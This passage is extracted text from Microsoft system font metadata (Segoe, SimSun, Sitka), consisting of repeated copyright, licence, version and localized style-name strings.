or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Cyrl Grek Latn Bold Segoe Print Segoe Print Bold SegoePrint-Bold *SEGOESC.TTF en-us 2021 Microsoft Corporation. All Rights Reserved. Version 5.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Segoe Script SegoeScript *SEGOESCB.TTF en-us 2021 Microsoft Corporation. All Rights Reserved. Version 5.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Cyrl Grek Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Segoe Script Segoe Script Negreta Segoe Script tu Segoe Script fed Segoe Script Fett Segoe Script Segoe Script Bold Segoe Script Negrita Segoe Script Lodia Segoe Script Lihavoitu Segoe Script Gras Segoe Script F Segoe Script Grassetto Segoe Script Halvfet Segoe Script Vet Segoe Script Pogrubiony Segoe Script Negrito Segoe Script Segoe Script Tu Segoe Script Krepko Segoe Script Fet Segoe Script Kal SegoeScript-Bold *SEGUIHIS.TTF en-us 2023 Microsoft. All Rights Reserved. Portions Copyright 2012 Google Inc. All Rights Reserved. Portions Copyright 2014 Adobe Systems Incorporated. All Rights Reserved. Version 1.09 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. For Informational Purposes Only Egyptian Hieroglyphs based on original outlines developed by James P. Allen. This font includes components supporting the Cuneiform, Ugaritic and Old Persian writing systems derived from the Noto Project licensed under the Apache License, Version 2.0 (the "License"); you may not use the Cuneiform, Ugaritic and Old Persian components except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT. See the Apache Version 2.0 License for specific language governing permissions and limitations under the License. ASMJS Validator Armi Brah Cari Cprt Egyp Glag Goth Ital Khar Lyci Lydi Merc Ogam Orkh Phli Phnx Prti Runr Sarb Shaw Syrc Ugar Xpeo Xsux Grek Latn Regular Segoe UI Historic SegoeUIHistoric *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Small Segoe-UI-Variable-Small *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Small Semilight Small Semilight Segoe UI Variable Small Segoe-UI-Variable-Small-Semilight *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Small Light Small Light Segoe UI Variable Small Segoe-UI-Variable-Small-Light *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Small Semibold Small Semibold Segoe UI Variable Small Segoe-UI-Variable-Small-Semibold *SEGUIVAR.TTF !"#$%&'()* en-us Optical size Weight Small Text Display Light Semilight Regular Semibold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2.03 Segoe is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Segoe UI Variable Segoe UI Variable Small Small Bold Segoe UI Variable Small Bold Segoe-UI-Variable-Small-Bold *SIMSUN.TTC 4321 0/.-$ en-us Copyright ZHONGYI Electronic Co. 2001, 2020, 2022 zh-cn zh-sg Version 5.24 Trademark of ZHONGYI Electronic Co., Beijing Beijing ZhongYi Electronics Co. http://www.zhongyicts.com.cn Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hans Hani Bopo Cyrl Grek Hira Hrkt Jpan Kana Latn Hanb Regular NSimSun *SIMSUNB.TTF en-us Beijing ZhongYi Electronics Co., 1995-2003, 2021, All rights reserved. Portions 2011, 2023 The Monotype Corporation. Version 5.08 Trademark of Beijing ZhongYi Electronics Co., China Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Hans Hani Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr SimSun-ExtB *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Sitka-Small *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Semibold Small Semibold Sitka Small Sitka-Small-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Small Italic Sitka Small Italic Sitka-Small-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Small Bold Sitka Small Bold Sitka-Small-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Semibold Small Semibold Italic Sitka Small Semibold Italic Sitka Small Semibold Italic Sitka-Small-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Small Bold Italic Small Bold Italic Sitka Small Bold Italic Sitka-Small-Bold-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Sitka-Text *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Semibold Text Semibold Sitka Text Sitka-Text-Semibold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Text Italic Sitka Text Italic Sitka-Text-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Text Bold Sitka Text Bold Sitka-Text-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Semibold Text Semibold Italic Sitka Text Semibold Italic Sitka Text Semibold Italic Sitka-Text-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Text Bold Italic Text Bold Italic Sitka Text Bold Italic Sitka-Text-Bold-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Subheading Sitka-Subheading *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding 